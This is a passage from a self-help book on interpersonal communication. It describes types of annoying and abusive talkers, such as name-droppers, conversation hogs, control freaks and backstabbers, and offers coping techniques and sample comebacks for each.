approximately one second. This usually works, especially if it is said diplomatically and respectfully.
Name-Dropper
How annoying it is to sit through a conversation and hear about this person and that person and what they said
to do and what they did to you. The people don't necessarily have to be top celebrities. They can also be
prominent people within your community. Name-dropping also includes always bringing up family members
(such as, “My wife said this,” “My son did this,” “My husband said that.”). Who the heck cares what they said
and think? We care about what you said and think. Are you brainless? Do you always need other people's
opinions or words to function?
Page 224
Certainly, once in a while it is good to hear a comment from someone else as it pertains to a particular topic
being discussed, but a steady diet of it is beyond annoying—it is obnoxious. People find this so odious that
they will turn against you at the drop of a hat.
Many people name drop because they have nothing going for them on their own, so they have to ride on
someone else's coattails in order to feel important! Even if they seem to be important by other people's
standards, they might not feel so important deep down inside. Therefore, they have to resort to such annoying
behavior.
Because they are insecure, you might just want to Breathe Them Out and let them get their jollies dropping all
the names they want all over the place. Even though you and everyone else thinks they are obnoxious, let them
feel that they are important.
Try to look at the situation as amusing and entertaining rather than getting mad and annoyed. They might think
they are being snobby or trying to come across better than you by letting you know all the important people
they know, but in reality, they are screaming out how very insecure and empty they are. So have pity. Be
compassionate. Give them love and kindness, and remember to breathe out any tension they might still cause
you, despite your efforts to be compassionate.
The Know-It-All
The Know-It-All is very much like the Name-Dropper: both have a great need to show off and feel important.
They both need an audience and need others to think that they are in some way superior. Instead of trying to
impress you with the important people they know, they try to impress you with the important information they
know. In reality, they are feeling inferior and insecure about themselves. They might indeed know a lot and
have a great deal of information at their disposal.

Page 225
However, there is certainly one thing they don't know about, and that is how to deal with other people. They
tend to talk at you, not with you.
Blow and let them go. They need the attention more than you need to be right, so let them impress themselves
with how much they know. In essence, let them talk to themselves. Don't take what they say to heart. Just use
the Tension Blowout Technique to let out any of your excess frustration. Often, similar to the case of the
Name-Dropper, the more they feel attended to and appreciated, the less they will have to prove themselves and
the less reason they will have to show off.
Therefore, the Love and Kindness Technique might put a stop to their annoying actions quicker than ever.
SlangGangers.
While, as we discussed earlier in this book, it might be appropriate to use slang or even four-letter words in
some social circles, it is most annoying when used out of context. It is met with a great deal of disdain when
used away from the group where it is accepted as the norm.
Besides cursing, the SlangGanger's speech is consistently peppered with “like,” “um,” “ya know,” “know what
I mean,” and “man.” It also contains poor grammar, mispronounced words, and a whole host of made-up words
constituting an entirely new language.
If you are on SlangGanger's turf, if you don't know what certain words mean, ask them. Better yet, as soon as
you know that you will be around them, try to find out from someone who is familiar with their slang and way
of speaking what certain words mean. Like speaking in a true second language, you will relate to them much
better if you incorporate some of their terminology into your own speech pattern. Take care, however, that you
don't use the words in the wrong context. Doing so will only embarrass you.
Don't correct their poor grammar or their use of filler words, since this is part of the accepted lingo.
On the other hand, if they are on your territory, it becomes a different matter. You have the right to establish
communication ground rules on your turf, just as they did in theirs. It's the old concept of “when in Rome, do
as the Romans do.” Be strongly advised, however, that you must never embarrass the SlangGanger, especially
in front of others. This is demeaning and puts them on the defensive. They might rebel, clam up, or lash out at
you verbally, and in certain cases even physically. They will become extremely angry at you, and from their
perspective rightfully so. You have insulted who they are. You have disrespected them! When you have a
private moment with the SlangGanger, let him know, in a calm and collected, unemotional manner, while
smiling, that you would prefer it if he would modify his words in front of you. In essence, you are using the
Direct Approach in a calm manner. You might also want to incorporate the Humor Technique and make light
of the situation in order to help him get the message.
Page 226
Conversation Hogs
The Conversation Hog or Interrupter types of verbal abusers are absolutely, without a doubt, the number-one
most annoying type of person. According to a Gallup Poll, close to 90 percent of respondents could not stand a
person who interrupted them. They tolerate this offensive behavior less than any other. If someone interrupts
you, they're keeping you from finishing your thoughts, which will undoubtedly frustrate you and cause you to
either clam up or lash out. Perhaps some of the biggest arguments you had were when you were put on the
defensive because you kept being interrupted. Someone who constantly interrupts you is a major control freak.
They are so insecure that they always have to have the floor. They always have to have the attention.
A sub-category of the Conversation Hogs are the Topic-Changers, who will not hesitate to change the topic of
the conversation midstream. They disrupt both your and their own train of thought. Both types of verbal
abusers are into controlling others and situations.
Be direct! They might not hear you because they are often so self-absorbed! You might have to tap them or
have light physical contact so you get their attention.
Tell them that you are not finished talking yet. First, do it politely with a smile. If it doesn't work, do it louder.
Give 'Em Hell and Yell! You also have the option of Mirroring them as you talk over their interruptions.
Whatever the case, it is not only frustrating, but exhausting. Be careful knowing “before whom you stand”
before you do the last three techniques. If you want to maintain your dignity, Unplug for the moment and
interrupt them by calmly excusing yourself. This way, they will have nobody to interrupt! Let them know that
they cannot take over the reins and always be in verbal control.
Repeat, Repeating, Repeaters
In this case, I am not talking about people with speech impediments who stutter, have a neurological condition,
or have Alzheimer's. Instead, I am talking about people who seem to enjoy hearing themselves talk. They say
the same thing over and over again. They not only tell you the same story or joke, they tell everyone else, too!
Often they repeat the same story because they want more feedback from you or they want to vent their
emotions, or they want to relive the situation. No matter what the reason, it is annoying and you feel like
running away!
Since these people are usually quite insecure or emotionally distraught, or perhaps they suffer from some form
of brain damage, have some compassion! If you are feeling impatient with them, use the Breathing Technique
to calm yourself down. Primarily

Page 227
give them Love and Kindness. If you find that they have really overstepped their bounds and overstayed their
welcome, politely and kindly tell them that you heard the story before. Unplug for the moment by either
changing the topic or by physically leaving the present environment. By leaving to go to the bathroom and
returning, you might get them off the repetition tract.
Wordy Ones
Like the Know-It-All, the Wordy Ones are out to impress. They try to use big words to show off and are
extremely verbose. They say a mouthful when they can just say a biteful. In their insecurity, they attempt to
reflect a “better than you” or a “snobby” attitude, when in reality they are screaming out in emotional pain.
They hunger for social acceptance and want to appear smart. They have the illusion that people perceive them
as being smart, and that they will therefore be treated with more respect.
Just as you would do with the Slangmaster, if you don't know what a word means, Ask! If they are too wordy,
you might want to stop them and use the Calm Questioning Technique. Ask “What's the bottom line?” If they
keep being wordy throughout the conversation, keep asking what the bottom line is. Without their knowledge,
you are conditioning them. Remember the experiment in Psychology 101 about Pavlov's dog? It's the same
thing! When you ask them the bottom line, do it with Love and Kindness because of their need to be accepted,
even though it might not seem like it at the time.
The Whiner
Unless it's actress Fran Drescher (my ex-client and dear friend), star of The Nanny who makes tons of money
because of her nasal voice, people will cringe around those who sound nasal. Nearly 70 percent of those
questioned in a Gallup poll said that they were turned off by the sound of this type of voice. Other research
shows that when someone sounds nasal, they aren't taken as seriously and aren't considered to be as attractive
and intelligent as those with non-nasal sounding tones.
I'm not talking about people who sound nasal because of a neurological condition or birth defect.
Page 228
Instead, I am talking about those who sound nasal because they have sloppy speech and don't open their
mouths when they speak. In that way, they are similar to the Mumbler. They don't realize how their poor
speaking habits negatively affect those who listen to them.
If you're one of those unlucky souls who is forced to listen to a Whiner, especially for a long time, it is best to
use the Direct Confrontation Technique coupled with the Calm Questioning Technique. Do this as gently and
politely as you can, while incorporating the Love and Kindness Technique, as difficult as that might seem. You
might want to start out by saying to them that their voice sounds rather nasal. Then ask them the question, “Do
you have a cold?” If they say no, which they probably will, ask whether they have allergies. If they say no, go
back to the Direct Confront Technique and say that you don't mean to be offensive but their voice really sounds
nasal. Say this in a polite tone, as gently as possible.
Now don't just leave them standing there. Give them something to help them. If you've criticized them, offer
them a solution. Tell them that you read in a book (this one) that when people have nasal sounding voices
(which many people have) your back teeth should never touch when you speak. This helps you keep your
mouth more open, so you won't sound as nasal. Tell them you tried it and it worked! If they tell you they too
hate the sound of their nasal sound, refer them to a speech pathologist using the method I taught you earlier in
this chapter.
Page 229
Chapter 18
Verbal Combat Against Painful Verbal Abusers
In this chapter, you learn how to use a variety of the most effective strategies against the eight types of painful
verbal abusers who may infest your life. You learn about the weapons that best deflect their repulsive verbal
goo. The verbal abuser may often require somewhat stronger approaches than those you used in Chapter 17.
Verbal Abuse Can Actually Make You Nauseous!
Unlike the annoying verbal vermin, who mostly irritate you, the painful verbal abusers mostly anger you and
cause you extreme emotional upset. Different degrees of emotional upset can bring out the worst in you and
cause you to react in ways alien to your normal behavior. Although you are usually not pushed over the edge—
to the point of no return—the verbal abuser could be the one to finally push you there!
Page 230
Their abuse can embarrass you. It can frustrate you. It can confuse you. These people can make you feel
suspicious and untrusting of others. In essence, they can make you feel sick to your stomach. They can even
cause you to feel nauseous and on the verge of throwing up!
Although they are definitely toxic, they are usually not toxic enough to cause havoc in your life, hurt you, or
attempt to destroy you like the dangerous verbal abusers will. In the Chapter 19, we will learn what
ammunition to use to protect ourselves against those verbal enemies. For now, let's focus on the opponent at
hand—the painful verbal abuser.
The Verbally Dead
They are verbally cold and secretive. They rarely if ever divulge information about themselves. They just
gather information. They don't give you any vocal reaction one way or the other, so you find them very
difficult to read. You don't know how they really feel about something—if they really like something or can't
stand it. Their reaction is the same in either case.
Initially, one might be attracted to them. Women in particular might fall prey to the stereotypic “strong but
silent type” of man—the John Wayne type, the man of few words. What they fail to realize and soon come to
discover is that you can't have an open and meaningful relationship with anyone who doesn't talk to you. It's
not going to cut it with someone whose conversations consists of “yep,” “nope,” “I don't know,” “maybe,” “I
guess,” or “I don't care.” This is not the case for men only. There are women who are The Verbally Dead as
well. No matter what their sex, they always keep you off guard.
They may not be indifferent, and they may really care, deep down inside. The fact that they are so inexpressive,
however, makes you think they don't like you, that they are judging you and being critical of you. It makes you
think that they are indifferent about you. They don't care if you live or die.
Some of The Verbally Dead use their silence to try to manipulate you or even intimidate you. They derive a
great deal of pleasure out of watching you behaving uncomfortably and squirming around their silence. In
essence they are using their “iced state” as sort of a power trip to see how long you can actually “chill out.”
When they become more talkative and share their thoughts and feelings, then they begin to feel uncomfortable.
The reason is that they feel out of control—as though they have lost their power over you! Their perceived
power lies in keeping you guessing and wondering what is going on inside of them.
The bottom line with these of The Verbally Dead is that you can never change them and force them to open up.
They have to want to open up on their own.

Page 231
The one thing you cannot do is to demand that they show some emotion in their voice and sound more
animated. Doing this will make them clam up even more. Though you feel like choking them and screaming
your head off at them, neither physical violence nor using the “Give 'Em Hell and Yell” strategy will make a
difference.
Two tactics seem to work best with the Verbal Refrigerator. No matter how angry or frustrated you feel at
them, force yourself to use the Love and Kindness Technique. They desperately hunger for it. Most of The
Verbally Dead are that way because of some deep-rooted psychological problem. Most of these psychological
problems developed in childhood, where the people might have been so emotionally scarred or traumatized that
they clammed up! They may have done this as a psychological survival mechanism. Unfortunately, they may
have carried this now-unnecessary protective gear into their adult years, which makes for some huge
complications in human relationships. Therefore, accepting them through this technique makes them feel safer
and more apt to trust you and thereby open up to you.
The Calm Questioning Technique also works very well, but you have to know when to back off. You can't fire
a series of machine gun-like questions at the Verbally Dead. You have to ask them slowly and wait for an
answer. Be quiet. Be silent! Wait for them to talk! Consciously or not, they may be using this as a ploy to test
you. Let them talk. Ask open-ended questions about what they think about a topic or issue. Ask questions that
do not require a “yes,” “no,” or one-word answer. Use the Elaboration Technique you learned about earlier in
this book when learning how to develop you own conversational skills. Just keep asking them questions, and
make sure that you ask in calm, warm, soothing tones.
Verbal Vomiters
People in this category are not fully aware of what they are saying to you. In fact, they speak in a free-flowing
stream of consciousness that often makes little or no sense. They are often thoughtless and rarely think before
they speak. They tell all! And I mean ALL!!! While it may be amusing and even titillating and interesting at
first, after a while they end up telling you things you really don't want to know. The information is all too often
inappropriate and way too personal. People who reveal too much information not only tell you their intimacies
and problems, they tell everyone else with whom they come in contact—from their bosses to their colleagues to
anyone who will listen. They don't discriminate. They won't think twice about telling a perfect stranger their
life story. They have no boundaries. Anyone and everything is fair game. They also have an incredibly difficult
time keeping secrets.
Page 232
As long as someone will listen, they will talk—often non-stop. These chatterboxes are so hungry for attention
they will say just about anything to get it.
If there were a TA (Talkaholics Anonymous) group, the first thing I would recommend would be to encourage
them to attend meetings on a regular basis. However, since it does not exist yet, the following techniques can
be as helpful to you as they have been to so many others who have been exposed to verbal abusers.
You must never tell these people anything you wouldn't want anyone else to know. Therefore, think before you
speak to them. As talkaholics, they need material to talk about. What better material than that which someone
else told them? It doesn't matter if that “someone else” is you and you swore them to secrecy. Chances are that
they were so self-absorbed, they didn't remember that you told them not to tell anyone what you just divulged.
So, don't be as unconscious as they are. Know before whom you are talking.
If you can somehow get their attention, the Direct Confrontation strategy can be most effective when it is
coupled with the Love and Kindness tactic. Tell them how much you care about them (if you do) and that you
are not there to criticize them, but you want to tell them something that can perhaps help them. Point out to
them that sometimes they might talk a bit too much and say things that are rather inappropriate; that maybe
they should monitor what they say better.
If they ignore your efforts and continue on their merry chatty way, in order to keep your sanity, just use the
Tension Blowout Strategy so that listening to their stupid unconscious verbal diarrhea won't make you want to
rip your own hair out.
Sugary Sweet Phonies
These people tend to be so phony that they can make you sick. These sneaky brown-nosers will stab you in the
back every time. They manipulate and flatter to death just to get their way.
They may sing your praises and lavish you with all kinds of verbal gifts—sweet words and compliments. When
you attempt to assuage their flattery or shrug it off, they will have none of it. They keep insisting that they
mean what they say. That you really are “all that.” They won't let up until they see that smile across your face
staying there. They got you! They got you hooked! Congratulations! You have been manipulated. They are
either after
Page 233
something you have, something that you can give them (even the prestige of being associated with you), or
even a contact you may have who could somehow help them. Watch what happens when they don't get what
they want! Suddenly the sweet words either stop or turn sour.
Humor is the best strategy to use with these verbal candies. This lets you know that you are onto them and that
you aren't buying their manipulative ways. Another approach is the Direct Confrontation approach, but always
in a lighthearted way, in which you let them know that you appreciate their kind words, but you aren't buying
it. For example, you can say “Okay, now that you've buttered me up, what is it that you really want?” With this
approach as with the humor tactic, they will usually realize that you are onto them and back off. Keep smiling.
Laugh it off. They'll get the message.
Talk Back
Here are some light-hearted things you can say to sugary sweet phony people to
let them know you are on to them.
“You know, I could probably go into insulin shock if you keep that up!”
“Watch it! If you say anymore of those sweet words, there will be an army of
ants marching all over me.”
Poor-Poor Me.
These people are so difficult to be around because their often-sad words, sounds, and phrases bring you down.
Their favorite party is a pity party. They love others to “poor poor” them to death. It is like marrow to their
bones, fuel to their system. This makes them feel worthy, alive, that someone cares about them. They are so
needy for attention and affection that they use depression and illness as a means of getting it.
If their verbal sadness is issue-related or happens at certain times, there is no problem. But if it happens a lot,
you are dealing with someone who may have a serious mental condition—an acute depression, bipolar
disorder, or borderline personality disorder.
One of the things you can't do is cheer them up. Deep inside, they get off on spreading gloom and doom.
Because they do it for effect, in order to get a reaction out of people, they obviously need attention and
affection. The best approach is to use the Love and Kindness approach; acknowledge that they are hurting or
are upset and let them know that you hear them and understand what they are saying—that you empathize how
they must be feeling.

Page 234
They do not want you to solve their problem. They do not want to hear a list of your brilliant ideas. The fact
that you said you can understand that they feel bad is what they need to hear. If you offer advice, they will
“yeah but” you to death. So, the key here is to give them no reaction—especially no pity.
If their verbal sadness is sporadic or situationally related, then you can stick around and do the Tension
Blowouts so that their negative energy doesn't glom on to you. On the other hand, since they require so much
work and are so draining, being around them for long periods of time may be debilitating. You might have to
Unplug from them, no matter who they are in your life. If you can't unplug physically, you might want to do it
mentally.
“Fibbers”
Sometimes these “Fibbers” are so caught up in their own lies or stories that they themselves lose track of
whether they are telling the truth. They are the ultimate verbal manipulators and usually lie to protect
themselves so that they can either get out of something or into something. Sometimes liars are blatant about it
and exaggerate highly. Other times, they are subtle. Sometimes their manipulative stories are harmful, not only
to themselves but to others. But the majority of the time, their stories are meant to enhance their poor image,
persona, and self-esteem. No matter what they do, their self-worth has a huge hole in it.
The story they have told and how you perceive it decides what strategy you should use. Depending on who
they are in your life, you may want to use the Direct Confront Technique or the Calm Questioning Technique
to let them know that you are no dummy, that you know they have been lying, and that perhaps they have an
explanation. This technique allows for open channels in communication. It is essential for you to remember,
however, that you must always keep your cool. Breathe, breathe, breathe.
You might want to consider using Tension Blowouts. Use humor, even if it's only funny to you. Let it blow and
let it go!
*%#&@ Cussers!
Some people don't mind others who curse—in fact, they may like it a lot, as they may feel a closer bond to the
person, especially if they too curse. In many instances, some curse words don't have the same negative or
shocking charge as they once did. In fact, they are commonplace. However, in most aspects of society, people
don't approve of cursing. That is why there are movie ratings available for parents who may not want their
children to hear films with verbal vulgarities. A Gallup poll showed that out of 10 annoying speech habits,
using curse words was the second most annoying habit.

Page 235
Often people who curse want to sound tough or appear “cool,” “hip,” and “with it.” They are not necessarily
bad people. They are just desperate for acceptance and want to portray a certain image. As mentioned earlier in
the book, sometimes that image works in one area of society and not in others. If a “cusser” is in your area of
society and you don't like it, here's what you can do!
If the cusser is related to you, you have more of an opportunity to use the Direct Approach Technique. If the
cusser is your child, you have even more leeway, because you have access to the “Give 'Em Hell and Yell”
Technique. This of course is a technique of last resort, used when your child doesn't get the message through
Love and Kindness, Direct Confrontation, Calm Questioning, or Humor. Then and only then would it be
recommended to Give 'Em Hell and Yell as a final option.
If the person is not related to you but is close, use the Direct Approach Technique. However, it is imperative to
let them know in a lighthearted, matter-of-fact manner that you don't like cursing. Don't chastise them like a
schoolteacher or reprimand them. That will definitely drive a wedge into your friendship. Let them know in
non-threatening, non-judging, easy language that it sounds better to you when they don't curse.
You see, since they mostly curse in order to appear cool and to be accepted as part of the group or scene, help
them feel part of the scene through a Love and Kindness tactic. Let them know that they are “way cool” in your
scene when they don't curse.
After all, they are the ones who need the most acceptance, so accept them with Love and Kindness by saying
“You really sound better” or “you have a better image” or “you come across cooler” when you don't talk like
that. You know what I mean?” And then smile. You may even want to put your arm around them or hug them
for assurance, depending on how close they are to you. The one thing to remember is not to talk down to them
or reprimand them for cursing. Do it using the suggestions I just listed, so that they will actually listen to you.
Me, Me, Me
I am not talking about the “me me me” that a singer signs when doing vocal warm-up exercises. Instead, I am
talking about the self-consumed narcissistic person who can't see past the mirror. These poor souls are so
insecure, they need constant approval from the mirror, and from everyone around them, including YOU! They
are always seeking someone to say how great they are. They always talk about their favorite subject—
themselves. Heaven forbid you try to bring up another topic—they will somehow manipulate the topic so that it
applies to them. And voilà, you are now back discussing
Page 236
the only thing they can relate to—themselves! Even if you are discussing a world crisis, somehow they will
manage to manipulate the conversation to bring it back to them.
The me me me crowd will go for hours and hours talking about themselves without even considering you or
asking you any questions about what your thoughts are on a particular matter. They are self-consumed in every
way.
Even though you may not realize it, these tortured souls suffer greatly. They are not self-absorbed because they
want to be; they are self-absorbed because they have to be.
Even though their self-absorption may test your patience, you need to have compassion for them. The most
effective technique to start with is the Tension Blowout Technique, where you let go of any tension you feel
when you are around them. Next, give them a dose of Love and Kindness, followed by Directly Confronting
them in a calm yet controlled tone. Never accuse them, because this puts them on the defensive.
In talking to this narcissistic type of person, you need to say something like “You can make me feel a lot more
welcome in the conversation if you ask me some questions about myself.” In addition, you can ask them what
they think of your opinion. Since everything pertains to them and since they hear things only in terms of what
effect they have on others, they will most likely accommodate you and heed your request, and thereby change
their behavior. Why? Because you have given them the power—power they require so badly as part of their
self-worth, to help you. You have spoken to them in their language—THEM!
The Anointed One Has Spoken!
These verbal abusers tend to underestimate others or blow off and tune out what anyone else says. They
consider it irrelevant. What is relevant is only what they say! They are know-it-alls who often use their
knowledge as a defense mechanism to overcome their insecurity. They feel that they have spoken, and so be it!
Even if they have little or no knowledge about a subject, it doesn't matter. They have convinced themselves that
they know anyway. They have a false sense of self-aggrandizement, which they mask by their rigidity,
judgment, and verbal arrogance. The basis for this is usually fear.
This is why they are so adamant that they should be heard and that their point of view is the only point of view.
Usually, they say things that indicate that they are extremely self-righteous or use a holier-than-thou tone. In
reality, it is quite the opposite.

Page 237
They are making such a fuss because they are trying to justify their hypocrisy. They feel guilty about their
misdeeds. They know that deep inside, what they have said is nonsense. They know that they aren't “talking the
talk.” Therefore, they have to scream louder, not only so that they can convince you, but so they can convince
themselves.
As we have seen time after time, especially from our experiences, those who constantly banter about how
things should be, how moral and righteous they are and how bad others are for not accepting their ways of
thinking, often don't practice what they preach! Those who claim self-righteous purity are often not as pure in
thought and deed as they portray themselves. Perhaps they subconsciously believe that the more they
pontificate, the more their verbal demons will disappear, so that what they say will be true after all.
These people should know that they need to get off their pedestal—that others too have valid opinions. Usually
the Calm Questioning Approach isn't as effective as the Direct Approach combined with the Give 'Em Hell and
Yell (if necessary).
When I am talking about giving them hell and yelling, I actually mean talking louder than they do. As they
robotically cite their doctrine, cite yours over theirs. Since they think that they are so anointed, they will
usually be so shocked by your audacity to speak over them that they will stop. When they stop speaking,
continue to speak in a confident, audible, and resonant tone so that they can hear what you are saying to them,
in hopes that at least a few points that you are trying to make will permeate their suit of “superior” armor.
If that doesn't work, depending who they are in your life, you may want to use the Tension Blowout Technique
to blow out your anger toward them. If nothing works, blow them out of your life for good—Unplug them! It is
way too exhausting and debilitating to try to communicate with someone who tunes you out, underestimates
you, and believes their doctrine or point of view is the only one. It is a no-win situation to try to communicate
with someone who has no respect for whatever you say or who says to you “It's my way or the highway.” You
need to retort with “Hit the road, Jack!”
Page 238
Page 239
Chapter 19
Verbal Combat Against Dangerous Verbal Abusers
The information in this chapter can literally save your life! The verbal abusers you'll read about here are scary.
They are the most toxic people, and the ones who have to be most closely watched. Whenever you are around
them, you not only have to look in front of you to know that they are there (which is obvious). You also have to
look to the right, to the left, and in back of you. They can come out of nowhere. You must be on your toes at all
times.
These people can make you the sickest—mentally, emotionally, and even physically. They represent
everything bad. They make you feel absolutely horrible about yourself. They are the ones to cause you so much
grief that your life is always in turmoil. Should you be so unfortunate that you happen to be around them for
any length of time, realize that they can erode your self-confidence to the point where psychologically you feel
lower than a snake's belly.
Proceed With Extreme Caution!
As I discussed earlier in the book, when you ask most people what they would do if they were in the presence
of a severely verbally toxic person, many naively say they would walk away. You can't simply walk away. If
you do so, you will be walking away with hurt and pain. You will still need to cope with the havoc that they
cause or else
Page 240
you will be carrying their verbal wrath for years to come. In this chapter, you first learn specific characteristics
of these dangerous people. Then you will learn the most effective strategies to use with the most severe types to
shield yourself from their verbal poisons. You will learn what to say and how to say it.
You have a number of choices for verbally responding to these dangerous people. In many instances, you will
be given some snappy comebacks from which to choose, if the situation warrants it. No matter which strategy
you use with a particular person, choose carefully. Just trust your instincts—you are almost always right!
Lambs to Lions
These are the most passive-aggressive and the most dangerous of all the verbal abusers because you really
never know where they are coming from. They are meek and delicate sounding, often using high-pitched
voices when they do communicate. But most often, they are non-communicative. They harbor extreme inner
rage and are often jealous—even though they may smile and act as though they are supportive. They are
walking time bombs, because you never know when they are going to blow up at you. They harbor resentment
and swallow perceived hurt feelings, slights, verbal cuts, and injustices they feel are done to themselves or to
others. And then one day, BOOM! A volcano of verbal violence explodes, often complete with yelling, insults,
and blaming. Needless to say, this is not only shocking, it is frightening as well, because you don't know what
they are going to do next.
Always keep abreast of what is going on with them. Constantly check in when they are in conversation with
you. Do this only if you have no choice and must have them in your life due to business- or family-related
matters. Use the Calm Questioning Technique, requiring more than just a yes or no answer.
However, the ideal situation is to run for your life! If you ever experience the wrath of a Lamb to Lion, never
experience it again! It is best to Unplug forever!
Control Freaks
These people have to control others because they are so out-of-control themselves. They are abusive and hostile
and often walk around with a chip on their shoulder, especially if they don't get their way. The other extreme is
that they will lose interest and do nothing if they don't get their way. They are invasive, tenacious, stubborn,
not team players, and have difficulty delegating responsibility. They also have difficulty with authority figures.
They feel that they must orchestrate every move, instead of letting things happen.

Page 241
They force issues and often drive former allies away from them. When things do not go their way, they get
more manipulative and angry, because they are so out of control. They are the type of person who punches
holes in walls when they don't get their way.
Parents who are control freaks can ruin their children's lives, making them spend a lot of time on the
psychiatrist's couch in their adult years.
Humor is often a great antidote because if you didn't laugh, you would surely cry. You may use humor to “call
their bluff.” The following “Talk Back!” section has some good snappy comebacks to use with a Control
Freak. Keep in mind, however, that there is a 50/50 chance that they can become even more violent if you say
these things to them. So if you can give it a try and you are willing to take a chance, go for it!
You may want to Directly Confront them by letting them know that they overstepped their bounds and that
they simply cannot control you in the manner that they are presently exhibiting. You need to let them know in a
calm manner how you prefer to be treated and that you need to be respected. You need to tell them that your
opinions matter and that they cannot speak to you or treat you the way they have been doing.
As I said earlier, Control Freaks often back down after they get a taste of their own medicine. Therefore, the
Mirror Technique may work wonders. However, once again, depending upon who they are in your life and how
instrumental they are to your livelihood (such as a boss), you may have to think twice about using this strategy.
If nothing works, you have no choice but to Unplug, especially if their actions are affecting your health. It may
not be worth the money or the aggravation to you! Your mental and physical state are more important than
anything else in the world!
Backstabbing Enviers
First and foremost, know that “jealousy is the root of all evil.” It causes people to have bad feelings, and to say
and feel bad things towards others. If the jealousy continues, it turns to envy, which is a more severe form of
jealousy. Envy seeks to destroy. It causes one to do extremely harmful things to others—always in a
manipulative manner, behind the person's back.
Like the Lamb to Lion, these people are among the scariest, because they act one way and really are another
way. Usually fawners, they are overly effusive and overly complimentary about you; they have “sugar on their
lips” but “salt in their eyes.”
They are sneaky, clandestine, and incredibly passive-aggressive. They do whatever they can to get ahead. They
don't care whose toes they step on, but they do it gingerly,

Page 242
carefully, and unobtrusively. When you find out that the person who sang your praises to your face was
definitely not singing your praises behind your back, you are often in shock.
So how do you recognize these sneaky plotters? First, watch what they say about others. If they are friendly to
others and then trash them, rest assured that you are next. Secondly, if they are overly effusive with you and
with everyone else, watch out!
A rather effective approach is to use the Direct Confrontation Approach combined with a little humor. This
way, you let them know that you are onto their backstabbing ways; this will often shock them back! The
following “Talk Back!” section lists some examples of what you can say in order to “bust them” so that they
get the message.
Talk Back
Snappy Comebacks for Backstabbing Enviers!
You can start with a common phrase you have heard many times before: “With
friends like you, who needs enemies?”
“Wow! You certainly rolled out the carpet for me one day, and then pulled it out
from under me the next.”
If you caught them in the act and they committed a rather serious crime that really ruined you, your reputation,
or your livelihood don't hesitate to Give 'Em Hell and Yell. That will definitely shock them as they usually
won't expect it! Let your anger out! Go for it! Just remember what I keep drilling into your head throughout
this book. The only way to truly get back at someone is through verbal self-defense. Avoid at any cost using
physical means to express your anger.
Hitting-Below-the-Belt Abusers.
Like the Backstabbing Envier, these people will not hesitate to tell people what you have told them in
confidence. However, unlike the Backstabbing Envier, these dangerous Hitting-below-the-Belt Abusers will
bring up these most intimate confidences right back in your face. What they say will shock you. It will feel as
though a stun gun just shot you or a swarm of bees stung you. All the blood seems to drain from you as you
become numb. Your ears cannot believe what they just said!
You may have told them something that you were embarrassed about, like being a bedwetter as a child, or
something that you were sensitive about, such as your weight,

Page 243
only to hear it back in either direct-aggressive form (especially after a disagreement), or in passive-aggressive
form: “I was only kidding.” No matter what the form, it is definitely “verbal murder,” which I discussed at the
beginning of this book.
Here is where your facial cues can be your best weapon. Look at the person with disgust, narrowing your eyes
and staring them right in the face. Be silent! Say nothing! Here is where silence truly is golden. Do the Tension
Blowout Strategy! Take the breath in, hold it, and then slowly let it out! You will gain control, and the silence
will often make them fumble and bumble. They will feel extremely uncomfortable.
The ideal way of retorting to someone who drops the shocking verbal bomb is to use the Calm Questioning
Technique by asking them questions such as those listed in the following “Talk Back!” section.
Talk Back
Snappy Comebacks for Hitting-below-the-Belt Abusers
“Are you really so low that you would have to resort to throwing back to me
something I told you in my deepest confidence?”
“How do you think it makes me feel when I trusted you with my heart and
soul?”
“Are you willing to win an argument or be right at all cost—even at the risk of
destroying another person?”
“Do you feel better now that you deeply hurt me?”
“That stings”!”
“You won!”
How can a person ever trust another person who betrayed her in such a verbally poisonous way? It is very hard
to do. Even though you both may shake hands and bury the hatchet, the relationship can never be the same.
You can never trust him again! So beware and be aware!
Verbal Interrogators
Like the Control Freak, these interrogators need to be in control!
They try to gain that control and “trip you up” by bombarding you with questions! No matter how stable you
think you are, you usually find yourself thrown off-center. You find yourself answering questions that you
never had any intention of answering!

Page 244
These Verbal Interrogators have a way of getting things out of you by asking such rapid-fire questions. Often,
the questions are so intimate and invasive that they shock you to the point that your guard is down. They do
this to establish their power in their attempts to intimidate you. When you finally accommodate them with
answers, they feel tremendous power over you.
The first thing you have to do is to get yourself back on strong footing. You have to regain control of yourself.
You can only do this by slowing down. Don't allow them to make your head spin! Immediately do the Tension
Blowout strategy. Immediately stop! Take a breath in, and as you breathe out say to yourself “No, I'm not
gonna answer” or “I'm in control” or “No, no, no!”
Now use the Direct approach, smiling all the while. Ignore their loud voice and barrage of questions. Just keep
breathing and keep talking over them! You can combine the Direct Confronting approach with some humor,
but make sure that you take control! Don't get caught up in the frenzy of their tones and verbal bullets. You will
find in the “Talk Back!” section some actual things you can say to the Verbal Interrogator that are designed to
put them back in their place and let them know that you will not fall prey to their verbally bullying tactics.
Talk Back: Snappy Comebacks for Verbal Interrogators
(Smile as you say) “I feel like I'm on the spot here!”
“Let me digest one question at a time before you ask me another.”
“You are going too fast for me.”
“That's way too personal a question for me to answer.”
“I don't feel like answering that.”
“Why do you want to know that?”
“I feel like I am being interrogated.”
Another technique to use is the Mirror Technique. Interrogate them back. Ask them the same questions they
ask you in a rapid-fire motion. Usually, they will get the message!
Fanatics and Zealots
I'm not talking about a Star Wars fanatic or a person obsessed with a certain product or event! I'm talking about
someone who is so obsessed with another person or with a
Page 245
point of view—a belief system—that he is a real danger to others. Any extreme in any group is dangerous,
whether it be religious, political, or social. They are scary because they see only one thing. They have a
Cyclops view of the world: anyone who disagrees is the enemy. Often, the fanatic is out of his or her mind.
They may be mentally or emotionally disturbed, so you must not take them lightly. There is no convincing
them. There is no having a dialogue with them! It is their way or no way! They are very similar to the Control
Freak in this regard.
Since there is usually no way with these people unless you agree with them, you are in a losing battle. If you
are forced to work with them because your livelihood depends upon it, do the Tension Blowouts combined
with the Fantasy strategy. Imagine them tongueless or locked away in a padded cell for life—anywhere, just as
long as it is away from you! If you have a choice in the matter, UNPLUG! Leave! Adios! Goodbye! Sayonara!
Go—and don't look back!
If they continue to verbally harass you, a court system can help put a stop to it via restraining orders. If they
continue to verbally harass you, tape record their calls on your answering machine, since in many states you
may use this for evidence against them. They may be facing jail time if they persist! You may even want a
legal representative to make them aware of this if appropriate.
Yes-Yes Do-Nothings
These passive-aggressive people may seem benign, like they wouldn't hurt you, but often no action is as
horrible as destructive action. Often, just like the Backstabbing Enviers, they may harbor a lot of hidden
resentment or anger towards you. That anger is shown in the form of their saying “yes” to your face but doing
nothing about it!
